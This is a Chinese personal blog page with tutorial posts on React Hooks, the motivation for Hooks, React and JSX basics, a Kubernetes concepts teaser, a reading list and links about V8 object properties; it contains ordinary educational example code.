AN的小站

K8s 核心概念图解：从一家汉堡店开始

Thu, 29 Oct 2026 00:00:00 GMT

把 TKE 产品概念（集群 / Pod / 工作负载 / Service / Ingress / Helm / 镜像仓库）放进一张可以点击的图里，再在本机 colima k3s 上动手跑一遍。

👉 打开全屏交互图解

图解里包含五个部分：

全景图：点击任意方块查看解释，点「模拟一次请求」看流量怎么走
七个核心概念
TKE 控制台流程与本机命令的对照
动手实践（逐行讲解）
常见坑

React常用Hooks

Sat, 14 Jun 2025 00:00:00 GMT

React没提供太多的Hooks，比如 useState、useEffect、useCallback、useMemo、useRef、useContext 等等，掌握常用的就可以应对日常90%的开发了。

useState：让函数式组件能保存状态#

前面有说过之所以之前没有函数式组件就是因为函数多次执行无法保存状态，这个Hook就是用来解决这个问题的。也就是说在一个函数式组件多次渲染过程中，这个state是共享的。

1
import React, { useState } from 'react';
2

3
function Example() {
4
  // 创建一个保存 count 的 state，并给初始值 0
5
  const [count, setCount] = useState(0);
6

7
  return (
8
    <div>
9
      <p>{count}</p>
10
      <button onClick={() => setCount(count + 1)}>
11
        +
12
      </button>
13
    </div>
14
  );
15
}

展开收起

在这个例子中

用useState(0)设置了count的初始值是0，渲染出p标签内容是0

当每次点击button时，调用setCount修改了count后，都会重新执行这个Example函数组件，然后使用useState返回的新的被更改后的count值，再更新对应的DOM节点

总结下就是：

useState(initialState) 的参数 initialState 是创建 state 的初始值，它可以是任意类型，比如数字、对象、数组等等。
useState() 的返回值是一个有着两个元素的数组。第一个数组元素用来读取 state 的值，第二个则是用来设置这个 state 的值。在这里要注意的是，state 的变量（例子中的 count）是只读的，所以我们必须通过第二个数组元素 setCount 来设置它的值。
如果要创建多个 state，那么我们就需要多次调用 useState。比如要创建多个 state，使用的代码如下：

1
// 定义一个年龄的 state，初始值是 42
2
const [age, setAge] = useState(42);
3
// 定义一个水果的 state，初始值是 banana
4
const [fruit, setFruit] = useState('banana');
5
// 定一个一个数组 state，初始值是包含一个 todo 的数组
6
const [todos, setTodos] = useState([{ text: 'Learn Hooks' }]);

和之前的类组件的区别，类组件是只维护了一个state对象(如上述例子{age: 42, fruit: ‘banana’, todos:[text: ‘Learn Hooks’]})，通过setState更新组件内所有状态。而函数式组件是每个字段都有对应的state，逻辑上更分离，粒度更细。

什么情况下使用state呢？#

原则：state 中永远不要保存可以通过计算得到的值，如：

从 props 传递过来的值。有时候 props 传递过来的值无法直接使用，而是要通过一定的计算后再在 UI 上展示，比如说排序。那么我们要做的就是每次用的时候，都重新排序一下，或者利用某些 cache 机制，而不是将结果直接放到 state 里。
从 URL / cookie / localStorage中读到的值。比如有时需要读取其中的参数，把它作为组件的一部分状态。那么我们可以在每次需要用的时候从中中读取，而不是读出来直接放到 state 里。

如果通过一些状态管理框架，去管理所有组件的 state 的话，比如Redux，那么组件本身就可以是无状态的。无状态组件可以成为更纯粹的表现层，没有太多的业务逻辑，从而更易于使用、测试和维护。

useEffect：执行副作用#

useEffect ，顾名思义，用于执行一段副作用。

副作用就是除了计算外,对当前函数执行上下文或是宿主,外部环境造成影响的, 就是副作用。比如

操作DOM
订阅事件
接口请求
改变全局变量
调用浏览器的个别API(setTimeout)。

为什么需要useEffect#

React采用声明式编程，组件函数应该是纯函数，也就是相同的输入总是产生相同的输出，不包含任何副作用。但是实际开发过程中我们不可避免的需要执行副作用操作，比如接口请求，操作DOM，订阅事件等

所以React设计了这么一个Hooks用来执行这些副作用操作

在组件渲染后执行，不阻塞UI渲染
可以通过依赖数组控制执行时机
提供清除机制，防止内存泄漏

useEffect方法介绍#

https://zh-hans.react.dev/reference/react/useEffect

useEffect(setup, dependencies?)

setup：处理 Effect 的函数。setup 函数选择性返回一个 清理（cleanup） 函数。当组件被挂载并且绘制渲染完成后，React 将运行 setup 函数。
- 清理（cleanup） 函数在两种情况下执行。
  1. 在每次依赖项变更重新渲染后，React 将首先使用旧值运行 cleanup 函数（如果你提供了该函数），然后使用新值运行 setup 函数。
  2. 在组件从 DOM 中移除后，React 将最后一次运行 cleanup 函数。
可选 dependencies：setup 代码中引用的数据，如 props、state 以及所有直接在组件内部声明的变量和函数。如果你的代码检查工具配置了 React，那么它将验证是否每个响应式值都被正确地指定为一个依赖项。依赖项列表的元素数量必须是固定的，并且必须像 [dep1, dep2, dep3] 这样内联编写。React 将使用Object.is来比较每个依赖项和它先前的值。如果省略此参数，则在每次重新渲染组件之后，将重新运行 Effect 函数。如果你想了解更多，请参见传递依赖数组、空数组和不传递依赖项之间的区别。

这里官方文档说的响应式值包括state和props感觉并不准确，在React里props和state是声明式的更准确。而Vue才是响应式的，Vue的响应式数据改变后会自动渲染(自动依赖追踪)，而React中渲染的源头是手动的行为(setState)，只是父组件重新渲染会间接重新渲染子组件。

跟Vue的响应式不同，dependencies中的比对不是响应式的，Vue是在数据变化的时候处理回调，React是在重新渲染时才会用Object.is比对后才执行回调。

有三种使用方式

指定依赖项，setup会在初始渲染后执行以及每次依赖项变化时执行
空依赖项数组，setup仅在初始渲染后执行一次
无依赖项数组，setup在初始渲染后执行一次以及每次组件重新渲染后执行

常见的就是指定依赖项，比如根据不同的博客id渲染不同的博客内容

1
import React, { useState, useEffect } from "react";
2

3
function BlogView({ id }) {
4
  // 设置一个本地 state 用于保存 blog 内容
5
  const [blogContent, setBlogContent] = useState(null);
6

7
  useEffect(() => {
8
    // useEffect 的 callback 要避免直接的 async 函数，需要封装一下
9
    const doAsync = async () => {
10
      // 当 id 发生变化时，将当前内容清楚以保持一致性
11
      setBlogContent(null);
12
      // 发起请求获取数据
13
      const res = await fetch(`/blog-content/${id}`);
14
      // 将获取的数据放入 state
15
      setBlogContent(await res.text());
16
    };
17
    doAsync();
18
  }, [id]); // 使用 id 作为依赖项，变化时则执行副作用
19

20
  // 如果没有 blogContent 则认为是在 loading 状态
21
  const isLoading = !blogContent;
22
  return <div>{isLoading ? "Loading..." : blogContent}</div>;
23
}

展开收起

对于依赖项有哪些需要注意的呢？

依赖项中定义的变量一定是会在回调函数中用到的，否则声明依赖项其实是没有意义的。
依赖项一般是一个字面量数组，而不是一个变量。因为一般在创建 callback 的时候，你其实非常清楚其中要用到哪些依赖项了。
- 比如useEffect(() => {}, [variable]) 而不是const deps = [variable];useEffect(() => {}, deps)
React在监听依赖项变化时使用的是浅比较(Object.is)，对于函数式组件如果每次重新定义引用变量会导致重复渲染。如：

1
function Sample() {
2
  // 这里在每次组件执行时创建了一个新数组
3
  const todos = [{ text: 'Learn hooks.'}];
4
  useEffect(() => {
5
    console.log('Todos changed.');
6
  }, [todos]);
7
}

1
 todos每次都是重新创建的，导致引用地址不同，从而会导致更新

useCallback: 缓存回调函数#

为什么需要useCallback？#

通过前面的useState我们知道这是React为了解决函数式组件多次执行无法保存状态设计出来的Hooks。因为函数式组件会重复执行，如果在函数式组件中声明函数，则函数也会被反复声明从而反复重新被创建，useCallback就是为了函数多次执行保存函数引用而设计出来的。

举个例子

1
function Counter() {
2
  const [count, setCount] = useState(0);
3
  const handleIncrement = () => setCount(count + 1);
4
  // ...
5
  return <button onClick={handleIncrement}>+</button>
6
}

对于Counter这个组件，如果count变化时，组件会重新渲染，组件重新渲染后handleIncrement又会重新被创建，从而导致作为button的props，让button也被重新渲染了。 不妙的就是每次执行函数式组件时内部重新创建了函数，导致接受函数的组件被重新渲染。用来解决这个问题的Hooks就是useCallback，让函数在需要更新捕获的闭包(如count)时才重新声明。改造后如下

1
import React, { useState, useCallback } from 'react';
2

3
function Counter() {
4
  const [count, setCount] = useState(0);
5
  const handleIncrement = useCallback(
6
    () => setCount(count + 1),
7
    [count], // 只有当 count 发生变化时，才会重新创建回调函数
8
  );
9
  // ...
10
  return <button onClick={handleIncrement}>+</button>
11
}

此时handleIncrement只有在count数据变化时，才会重新声明捕获count这个闭包，从而达到减少重复声明handleIncrement以及渲染button的目的。

useCallback 方法介绍#

https://zh-hans.react.dev/reference/react/useCallback

useCallback(fn, dependencies)

fn：想要缓存的函数。此函数可以接受任何参数并且返回任何值。
- 在初次渲染时，React 将把函数返回给你（而不是调用它！）。
- 当进行下一次渲染时，也就是渲染过程中，判断dependencies 相比于上一次渲染时没有改变
  - 没有改变，那么 React 将会返回相同的函数。
  - 有改变，React 将返回在最新一次渲染中传入的函数，并且将其缓存以便之后使用。这个Hooks不会调用此函数，只是返回此函数。你可以自己决定何时调用以及是否调用。
dependencies：有关是否更新 fn 的相关数据，包括 props、state，和所有在你组件内部直接声明的变量和函数。如果你的代码检查工具配置了 React，那么它将校验每一个正确指定为依赖的响应式值。依赖列表必须具有确切数量的项，并且必须像 [dep1, dep2, dep3] 这样编写。和useEffect的dependencies一样，React 使用Object.is比较每一个依赖和它的之前的值。这里的dependencies数组里的数据就是那些函数需要更新的闭包内容。

除了useCallback， useMemo也是为了缓存设计的，只不过useCallback缓存的是函数，而useMemo缓存的是计算的结果。

useMemo: 缓存计算的结果#

为什么需要useMemo?#

跟useCallback类似，是因为默认情况下组件重新渲染时会重新运行整个组件函数，如果组件函数内部有复杂的计算逻辑，即使依赖数据没有变化也会重新计算执行，这样可能会导致以下问题：

计算开销过大：比如大量数据处理，循环，复杂逻辑的场景，可能阻塞主线程渲染导致浏览器卡顿。
渲染性能下降：比如某个子组件依赖的引用数据(对象、数组等)内容并未产生变化，但是重新执行函数组件时会重新声明导致引用数据地址更新，从而使这个子组件重新渲染，是不必要的渲染。

举个例子

对于一个显示用户信息的列表，需要对用户名进行搜索，根据关键字显示过滤后的用户。这个功能需要两个状态

搜索内容
列表数据

1
import React, { useState, useEffect } from "react";
2

3
export default function SearchUserList() {
4
  const [users, setUsers] = useState(null);
5
  const [searchKey, setSearchKey] = useState("");
6

7
  useEffect(() => {
8
    const doFetch = async () => {
9
      // 组件首次加载时发请求获取用户数据
10
      const res = await fetch("https://reqres.in/api/users/");
11
      setUsers(await res.json());
12
    };
13
    doFetch();
14
  }, []);
15
  let usersToShow = null;
16

17
  if (users) {
18
    // 无论组件为何刷新，这里一定会对数组做一次过滤的操作
19
    usersToShow = users.data.filter((user) =>
20
      user.first_name.includes(searchKey),
21
    );
22
  }
23

24
  return (
25
    <div>
26
      <input
27
        type="text"
28
        value={searchKey}
29
        onChange={(evt) => setSearchKey(evt.target.value)}
30
      />
31
      <ul>
32
        {usersToShow &&
33
          usersToShow.length > 0 &&
34
          usersToShow.map((user) => {
35
            return <li key={user.id}>{user.first_name}</li>;
36
          })}
37
      </ul>
38
    </div>
39
  );
40
}

展开收起

这个代码乍看过去没问题，但是userToShow的计算逻辑不论组件因为什么而重新渲染都会重新执行，而实际上我们想要的效果是当搜索内容或者列表数据变化时才重新执行通过useMemo改造下计算相关内容

1
//...
2
// 使用 userMemo 缓存计算的结果
3
const usersToShow = useMemo(() => {
4
    if (!users) return null;
5
    return users.data.filter((user) => {
6
      return user.first_name.includes(searchKey));
7
    }
8
  }, [users, searchKey]);
9
//...

此时就能达到我们的目的了，只会在搜索内容和列表数据变化才计算，除了可以避免计算。实际上useMemo是可以用于实现useCallback的，两者本质上都是让组件在多次渲染中缓存一个数据

1
useCallback(fn, deps) === useMemo(() => fn, deps)

useMemo方法介绍#

https://zh-hans.react.dev/reference/react/useMemo

useMemo(calculateValue, dependencies)

calculateValue：要缓存计算值的函数。是一个没有任何参数的纯函数，并且可以返回任意类型。
- React 将会在首次渲染时调用该函数；
- 在之后的渲染中，如果 dependencies 没有发生变化，React 将直接返回相同值。否则，将会再次调用 calculateValue 并返回最新结果，然后缓存该结果以便下次重复使用。
dependencies：所有在 calculateValue 函数中使用的响应式变量组成的数组。响应式变量包括 props、state 和所有你直接在组件中定义的变量和函数。如果你在代码检查工具中配置了 React，它将会确保每一个响应式数据都被正确地定义为依赖项。依赖项数组的长度必须是固定的并且必须写成 [dep1, dep2, dep3] 这种形式。React 使用Object.is将每个依赖项与其之前的值进行比较。

useRef: 在多次渲染之间共享数据#

为什么需要useRef?#

跟上面的useMemo有相似的地方，都是具有记忆功能 ，也就是能在组件多次渲染时保证数据的持久性，而且都不会因为值改变而触发组件重新渲染。只是useRef是返回一个包含current属性的对象，current属性就是用来修改后保存数据的。

useRef 主要是用于

存储可变值
- 存储不需要展示在页面上的数据(如分页参数)
- 保存定时器ID或是上一次props的值
访问DOM元素
- 需要访问DOM元素进行操作

存储可变值#

存储分页参数

1
const queryRef = useRef({
2
  code1: '',
3
  code2: ''
4
});
5

6
const PrintBtn = () => {
7
  console.log('testBtn', queryRef.current); // 永远都是获取到最新的值
8
};

保存定时器ID或是上一次props的值

1
function TimerComponent() {
2
  const intervalId = useRef(null);
3
  const handleStart = () => {
4
    intervalId.current = setInterval(() => {
5
      console.log('Timer tick');
6
    }, 1000);
7
  };
8
  const handleStop = () => {
9
    clearInterval(intervalId.current);
10
  };
11
  return (
12
    <div>
13
      <button onClick={handleStart}>Start</button>
14
      <button onClick={handleStop}>Stop</button>
15
    </div>
16
  );
17
}

展开收起

1
function usePrevious(value) {
2
  const ref = useRef();
3
  useEffect(() => {
4
    ref.current = value;
5
  });
6
  return ref.current;
7
}

访问DOM元素#

访问DOM元素并操作

1
import React, { useRef } from 'react';
2

3
function TextInputWithFocusButton() {
4
  const inputEl = useRef(null);
5

6
  const onButtonClick = () => {
7
    inputEl.current.focus();
8
  };
9

10
  return (
11
    <>
12
      <input ref={inputEl} type="text" />
13
      <button onClick={onButtonClick}>Focus the input</button>
14
    </>
15
  );
16
}

展开收起

操作DOM这个和Vue看起来差不多，区别是Vue绑定的ref是响应式的，React的这个修改current也不会更改

useRef的用法#

useRef(initialValue)

https://zh-hans.react.dev/reference/react/useRef

参数#

initialValue：ref 对象的 current 属性的初始值。可以是任意类型的值。这个参数在首次渲染后被忽略。

返回值#

useRef 返回一个只有一个属性current的对象: current：初始值为传递的 initialValue。之后可以将其设置为其他值。如果将 ref 对象作为一个 JSX 节点的 ref 属性传递给 React，React 将为它设置 current 属性。在后续的渲染中，useRef 将返回同一个对象。

useContext: 定义全局状态#

为什么需要useContext?#

主要是为了解决React中多层组件 props drilling (逐层传递props) 的困扰，用于跨层级数据传递，React提供了Context机制，可以在某个组件树根节点上挂Context，所有该组件树下子节点都可以访问或修改这个Context，每当修改Context时，使用该Context的组件就会重新执行渲染，在函数式组件中，就是使用useContext来管理Context

直接看一个例子，用于获取主题的

1
const themes = {
2
  light: {
3
    foreground: "#000000",
4
    background: "#eeeeee"
5
  },
6
  dark: {
7
    foreground: "#ffffff",
8
    background: "#222222"
9
  }
10
};
11
// 创建一个 Theme 的 Context
12
const ThemeContext = React.createContext(themes.light);
13
function App() {
14
  // 整个应用使用 ThemeContext.Provider 作为根组件
15
  return (
16
    // 使用 themes.dark 作为当前 Context
17
    <ThemeContext.Provider value={themes.dark}>
18
      <Toolbar />
19
    </ThemeContext.Provider>
20
  );
21
}
22

23
// 在 Toolbar 组件中使用一个会使用 Theme 的 Button
24
function Toolbar(props) {
25
  return (
26
    <div>
27
      <ThemedButton />
28
    </div>
29
  );
30
}
31

32
// 在 Theme Button 中使用 useContext 来获取当前的主题
33
function ThemedButton() {
34
  const theme = useContext(ThemeContext);
35
  return (
36
    <button style={{
37
      background: theme.background,
38
      color: theme.foreground
39
    }}>
40
      I am styled by theme context!
41
    </button>
42
  );
43
}

展开收起

可以看到这是一个按钮获取theme的代码

通过React.createContext声明了一个Context数据，初始值是theme.light。
ThemeContext.Provider是声明在组件树根节点上的，value用于接收初始值themes.dark。
App的子组件Toolbar的子组件ThemedButton可以通过useContext获取到当前theme从而改变自己的按钮颜色。如果希望实现点击按钮切换主题，只需要让Context传入的值变化，可以通过state，如

1
//...
2
function App() {
3
  const [theme, setTheme] = useState('light');
4
  const changeTheme = useCallback(() => {
5
    console.log('changeTheme');
6
    setTheme((prevTheme) => (
7
      prevTheme === 'light' ? 'dark' : 'light'
8
    ));
9
  }, []);
10
  // 整个应用使用 ThemeContext.Provider 作为根组件
11
  return (
12
    // 使用 themes.dark 作为当前 Context
13
    <ThemeContext.Provider value={themes[theme]}>
14
      <Toolbar changeTheme={changeTheme}/>
15
    </ThemeContext.Provider>
16
  );
17
}
18

19
// 在 Toolbar 组件中使用一个会使用 Theme 的 Button
20
function Toolbar(props) {
21
  return (
22
    <div>
23
      <ThemedButton changeTheme={props.changeTheme}/>
24
    </div>
25
  );
26
}
27

28
// 在 Theme Button 中使用 useContext 来获取当前的主题
29
function ThemedButton(props) {
30
  const theme = useContext(ThemeContext);
31
  return (
32
    <button
33
    onClick={props.changeTheme}
34
    style={{
35
      background: theme.background,
36
      color: theme.foreground
37
    }}>
38
      I am styled by theme context!
39
    </button>
40
  );
41
}

展开收起

点击Button
通过props.changeTheme修改ThemeContext
ThemedButton因为使用了ThemeContext因此重新执行，获取到最新的theme并渲染

可以看到Context提供了一个多个组件中共享数据的能力，但是这样的方式可能会有一些负面影响：

调试会困难，不好追踪Context的改变
组件复用困难，比如一个组件如果用了Context，那就必须确保父组件里有Context的Provider 在React中除了Theme、Language等一目了然需要全局设置的变量，很少会使用到Context，但是一些库还是用到了，比如React Flow、Antd的Form等

总结#

执行顺序如下

1
组件渲染开始
2
↓
3
执行 useContext (读取Context值，可能触发重新渲染)
4
↓
5
执行 useState/useReducer (可能触发状态更新)
6
↓
7
执行 useRef (创建/获取可变引用)
8
↓
9
执行 useMemo (可能执行计算逻辑)
10
↓
11
执行 useCallback (创建函数引用)
12
↓
13
渲染 JSX
14
↓
15
组件渲染完成
16
↓
17
执行 useLayoutEffect (同步副作用，DOM变更前)
18
↓
19
执行 useEffect (异步副作用，DOM变更后)

展开收起

React为什么有Hooks

Wed, 04 Jun 2025 00:00:00 GMT

React组件本质就是Model到View的映射。

img

在没有React框架时，我们需要再Model处理时，手动去处理DOM节点如何变化的细节问题。

通过React，我们可以使用JSX，根据Model的状态变化，使UI自动变化，这就是数据绑定。

因此可以把UI的展示看成是函数执行的过程，Model是入参，执行结果是View(DOM树)，当Model变化时，函数重新执行，生成新的DOM树，然后React通过性能最优的方式把新的DOM树更新到浏览器。

此前用Class作为组件是不是合理呢？

首先使用Class作为React的组件有点牵强：

1.不用继承，比如组件ButtonGroup，不会继承Button来实现。

2.很少从外部调用组件实例的方法，组件的方法都是在内部调用。

但是当时有局限，函数组件无法存在内部状态，必须是纯函数，而且也无法提供完整的生命周期机制。这就极大限制了函数组件的大规模使用。并且React官方也是宣扬组合(Composition)大于继承(inherit)，一说到组合，那必然是想到函数式编程，是函数式编程的核心思想之一。

Hooks是如何诞生的？#

根据上述我们可以意识到，如果想让函数式组件用起来，那就要解决函数式组件没有状态的问题，也就是要给函数式组件加上状态。

函数和对象是不一样的，实例对象可以在多次渲染时保存状态，而函数则需要额外的空间去保存状态。

对应的就是函数需要有一个机制，将状态绑定到函数执行，当数据变化时，函数自动执行。这样任何影响UI的状态，都可以通过这个机制绑定到React的函数式组件上，并且在修改状态时，执行函数从而重新渲染组件。

在React中，这个机制就是Hooks。

Hook就是钩子的意思

什么是钩子？钩子的工作方式类似：

建立连接
- 你将代码”钩”到某个数据源或事件源上
- 这就像把鱼钩放入水中，等待鱼的到来
自动响应
- 当数据变化或事件发生时，钩子会自动触发
- 就像鱼咬钩时，你会感知到并拉竿
无需持续监控
- 你不需要不断检查数据是否变化
- 系统会在合适的时机通知你，就像鱼咬钩时鱼线会动

对于函数式组件如下图

img

Execution，例如就是函数式组件本身，State、URL就类似于被绑定(钩住)的状态，当被钩住的状态发生变化时，就会重新执行函数，产生更新后的结果

还有一点需要注意，Hooks 中被钩的对象，不仅可以是某个独立的数据源，也可以是另一个 Hook 执行的结果，这就带来了 Hooks 的最大好处：逻辑的复用。

Hooks最大的好处：逻辑复用#

在之前的React中最让人诟病的就是逻辑复用，必须要借助高阶组件或是Render Props模式。但这两种方式都会产生冗余的节点，不便于调试和维护，而通过Hooks就可以很好的解决逻辑复用的问题。

举个例子，比如要实现一个根据不同窗口大小，展示不同组件的功能，需要逻辑可以复用的情况下，分别用高阶组件和Render Props实现的话如下

高阶组件

1
const withWindowSize = Component => {
2
  // 产生一个高阶组件 WrappedComponent，只包含监听窗口大小的逻辑
3
  class WrappedComponent extends React.PureComponent {
4
    constructor(props) {
5
      super(props);
6
      this.state = {
7
        size: this.getSize()
8
      };
9
    }
10
    componentDidMount() {
11
      window.addEventListener("resize", this.handleResize);
12
    }
13
    componentWillUnmount() {
14
      window.removeEventListener("resize", this.handleResize);
15
    }
16
    getSize() {
17
      return window.innerWidth > 1000 ? "large" ："small";
18
    }
19
    handleResize = ()=> {
20
      const currentSize = this.getSize();
21
      this.setState({
22
        size: this.getSize()
23
      });
24
    }
25
    render() {
26
      // 将窗口大小传递给真正的业务逻辑组件
27
      return <Component size={this.state.size} />;
28
    }
29
  }
30
  return WrappedComponent;
31
};

展开收起

Render Props模式

1
 // 一个提供窗口大小的 Render Prop 组件
2
 class WindowSizeProvider extends React.Component {
3
   constructor(props) {
4
     super(props);
5
     this.state = { size: this.getSize() };
6
   }
7
   componentDidMount() { /* ...监听逻辑... */ }
8
   componentWillUnmount() { /* ...移除监听... */ }
9
   getSize() { /* ...获取大小... */ }
10
   handleResize = () => { /* ...更新state... */ }
11

12
   render() {
13
     // 调用 render prop，并将 state 作为参数传递
14
     return this.props.render(this.state);
15
   }
16
 }
17

18
 // 使用 Render Prop 组件
19
 class MyComponent extends React.Component {
20
   render() {
21
     return (
22
       <WindowSizeProvider
23
         render={({ size }) => { // 接收 size
24
           if (size === "small") return <SmallComponent />;
25
           else return <LargeComponent />;
26
         }}
27
       />
28
     );
29
   }
30
 }

展开收起

可以看到以上两种方式都是套了一层组件壳子。

再来看看Hooks是怎么实现的

1
const getSize = () => {
2
  return window.innerWidth > 1000 ? "large" : "small";
3
}
4
const useWindowSize = () => {
5
  const [size, setSize] = useState(getSize());
6
  useEffect(() => {
7
  const handler = () => {
8
      setSize(getSize())
9
    };
10
    window.addEventListener('resize', handler);
11
    return () => {
12
      window.removeEventListener('resize', handler);
13
    };
14
  }, []);
15

16
  return size;
17
};
18

19
const Demo = () => {
20
  const size = useWindowSize();
21
  if (size === "small") return <SmallComponent />;
22
  else return <LargeComponent />;
23
};

展开收起

函数式组件通过useEffect将类组件的生命周期的代码聚合到了一个统一的副作用函数中了。

与之前展示的老方案相比，这个使用 Hooks 的实现有以下优势：

更简洁：代码量明显减少
更直观：逻辑流程更加清晰，没有嵌套的组件层级
更灵活：可以在任何函数组件中使用，不需要包装整个组件
避免了 props 透传：不需要通过 props 层层传递数据

展示了为什么 React Hooks 在推出后迅速成为管理组件状态和副作用的首选方式。

Hooks的另一大好处：有助于关注分离#

Hooks能让针对同一个业务逻辑的代码尽可能的聚合在一块，这样的好处就是关注点分离。

比如上面例子中，Class组件需要将同一个业务逻辑的代码分离在各个生命周期方法中，但是通过Hooks的方式可以把业务代码聚合在一起。

比如在绑定和解绑事件需要在componentDidMount、componentWillUnmount中去写，而Hooks可以把这两个逻辑写在一起。

React社区的一张图可以详细展示这之间的区别

img

这和Vue3的设计思路也是相同的，Vue2⇒Vue3从上窜下跳写法变成了Composition API写法，目的也是将业务逻辑聚合起来。

总结#

Hooks更好的体现了React在State ⇒ View的函数映射开发思想。

Hooks解决了Class组件的代码冗余，逻辑复用复杂的问题。

吐槽：相较于React的极致向后兼容，Vue确实变化的大了点… React像是稳健派，Vue是激进的改革派从函数式编程和逻辑复用的角度来看，Vue3并不像React做的那么彻底。比如Vue3虽然有watchEffect，但是watchEffect不能像useEffect那样在卸载时清理副作用函数，也就是没法像React那样完全彻底的聚合业务逻辑并且替代生命周期，Vue3的生命周期依然存在感很强。从思考角度上来说，React更关注对依赖数据的副作用处理，而Vue3更关注响应式数据变化引发的副作用处理。

维度	React（Hooks）	Vue 3（Composition API）
编程范式	函数式优先，组件即函数	响应式驱动 + 类似函数式
副作用管理	`useEffect`自动响应依赖变化	`watchEffect`需手动清理，需配合生命周期
状态更新机制	手动触发（useState / setState）	自动追踪响应式数据（ref / reactive）
生命周期控制	生命周期抽象化，不显式暴露	明确生命周期钩子（onMounted 等）
学习曲线	更偏向函数式思维，有一定门槛	更直观，适合渐进式学习

对于React，更函数式，优势是

副作用与生命周期解耦，useEffect不绑定具体生命周期阶段，而是基于依赖项变化自动执行。
逻辑聚合能力强，多个相关逻辑可以集中在一个useEffect或自定义 Hook 中，而不是分散在多个生命周期中。

对于Vue3，更响应式，优势是

响应式系统自动追踪依赖，不需要像React写出[deps]依赖数组，只要改变了响应式变量，就会自动重新运行副作用。
生命周期还存在，直观容易调试。
性能优化更容易：Vue本身会自动做性能优化，不用像React需要通过React.memo,useCallback,useMemo手动优化。

React是什么？

Tue, 03 Jun 2025 00:00:00 GMT

React的中文含义是反应或者响应。 React的核心原理是：当数据变化时，UI能自动把变化反应出来。

在React出现时的背景来说是颠覆式创新。

举个例子，在当时如果要实现一个聊天应用，当来了一条新消息时，你需要通过DOM API把消息加到聊天框，同时要让显示未读消息的地方让数字加一，这样才能保持UI的一致性。

而如果使用React的话，你只需要在业务状态和UI状态之间建立一个绑定关系就可以了，不需要去直接操作修改UI，而是绑定完成后，React会在业务状态发生变化时，帮助我们去完成UI的变化。

1748909702006

React的基本概念#

基本概念就三个：

组件
状态
JSX

组件#

组件有两种

原生组件 div、span等
自定义组件使用时必须大驼峰命名，如PageHeader

1
function CommentBox() {
2
  return (
3
    <div>
4
      <CommentHeader />
5
      <CommentList />
6
      <CommentForm />
7
    </div>
8
  );
9
}

状态(state和props管理状态)#

根据React的核心机制，需要在状态变化时渲染UI，那就需要有保存状态的地方，在React中叫做state。

props是用来在父子组件之间传递状态的，类似于表单组件的传参属性概念。

用React函数组件举个state例子

1
import React from "react";
2

3
export default function Counter() {
4
  const [count, setCount] = React.useState(0);
5
  return (
6
    <div>
7
      <button onClick={() => setCount(count + 1)}>{count}</button>
8
    </div>
9
  );
10
}

通过useState可以定义一个状态，和一个设置状态的函数。

点击Button ⇒ setCount更新count状态 ⇒ 更新视图渲染(count+1)

再举个state+props的例子

1
import React from "react";
2

3
function CountLabel({ count }) {
4
  // 子组件用于显示颜色
5
  const color = count > 10 ? "red" : "blue";
6
  return <span style={{ color }}>{count}</span>;
7
}
8

9
export default function Counter() {
10
  // 定义了 count 这个 state
11
  const [count, setCount] = React.useState(0);
12

13
  return (
14
    <div>
15
      <button onClick={() => setCount(count + 1)}>
16
        <CountLabel count={count} />
17
      </button>
18
    </div>
19
  );
20
}

展开收起

点击Button ⇒ setCount更新count状态
count状态发生变化 ⇒ 作为props传入CountLabel
CountLabel重新执行 + 渲染(根据count值对应不同的color颜色)

React和Vue的区别

React函数式：

当props更新时，整个函数组件会重新执行
函数内的所有代码都会重新运行
创建新的变量和JSX元素
完全重新渲染这个组件实例

Vue:

组件实例会被保留
只触发响应式系统的更新
只重新计算依赖于变化的props的计算属性或方法
智能地只更新需要变化的DOM部分

主要区别：

Vue更细粒度，只更新受影响的部分
React采用完全重新执行的方式，更符合函数式编程理念
Vue的响应式系统自动追踪依赖关系
React需要开发者主动考虑性能优化（如使用useMemo、useCallback等）

JSX语法本质#

JSX 的本质是什么，它和 JS 之间到底是什么关系？#

JSX本质是JavaScript的一种语法拓展, 但是它充分具备 JavaScript 的能力。

JSX 语法是如何在 JavaScript 中生效的?#

通过Babel将JSX转换成React.createElement()， React.createElement() 将返回一个叫作“React Element”的 JS 对象.转换就是在编译的过程中, 由Babel完成.

JSX是如何映射成DOM的#

JSX

1
import React from "react";
2

3
function CountLabel({ count }) {
4
  // 子组件用于显示颜色
5
  const color = count > 10 ? "red" : "blue";
6
  return <span style={{ color }}>{count}</span>;
7
}
8

9
export default function Counter() {
10
  // 定义了 count 这个 state
11
  const [count, setCount] = React.useState(0);
12

13
  return (
14
    <div>
15
      <button onClick={() => setCount(count + 1)}>
16
        <CountLabel count={count} />
17
      </button>
18
    </div>
19
  );
20
}

展开收起

JSX ⇒ JS

1
React.createElement(
2
  "div",
3
  null,
4
  React.createElement(
5
    "button",
6
    { onClick: function onClick() {
7
        return setCount(count + 1);
8
      } },
9
    React.createElement(CountLabel, { count: count })
10
  )
11
);

React.createElement介绍

最后通过ReactDOM.createRoot().render() 方法将这个React元素添加到DOM中。

在 React 18 中，ReactDOM.render()已被弃用，取而代之的是ReactDOM.createRoot().render()：

总结（JSX到真实DOM的流程）#

通过Babel将JSX转换成JS
用React.createElement来创建用来描述DOM元素的React元素
最终会通过ReactDOM.createRoot().render()将React元素添加到真实DOM中。

书单

Tue, 03 Jun 2025 00:00:00 GMT

成长#

《被讨厌的勇气》
《高效能人士的七个习惯》
《认知觉醒》
《认知驱动》
《优势谈判》
《刻意练习》
《李诞脱口秀工作手册》
《乌合之众》

金融#

《穷爸爸富爸爸》
《半小时漫画经济学》
《股票作手回忆录》

JavaScript的快慢属性

Sun, 25 May 2025 00:00:00 GMT

V8 是怎么跑起来的 —— V8 中的对象表示本文创作于 2019-04-30，2019-12-20 迁移至此本文基于 Chrome 73 进行测试。前言V8，可能是前端开发人员熟悉而又陌生的领域。当你看到这篇文章时，它已经迭代了三版了。目的只有一个，在保证尽可能准确的前提下… https://zhuanlan.zhihu.com/p/98434092

Fast properties in V8 · V8 This technical deep-dive explains how V8 handles JavaScript properties behind the scenes. https://v8.dev/blog/fast-properties

https://gist.github.com/kevincennis/0cd2138c78a07412ef21

在V8中，对象主要由三个指针构成，分别是隐藏类(Hidden Class)，Property 还有 element

https://res.craft.do/user/full/6f904f60-12ad-396f-3e1d-d95d9b03bd08/doc/06303CE3-9E74-4AC9-A169-5F37BEFA7856/8B1CB330-6E81-4BFB-8219-33FF6D63F98E_2/HICTgZCIdZp1dJ9qp0pYCLIExER62QGllhsQgLjQqxYz/image_nyzFWT3aPq.png

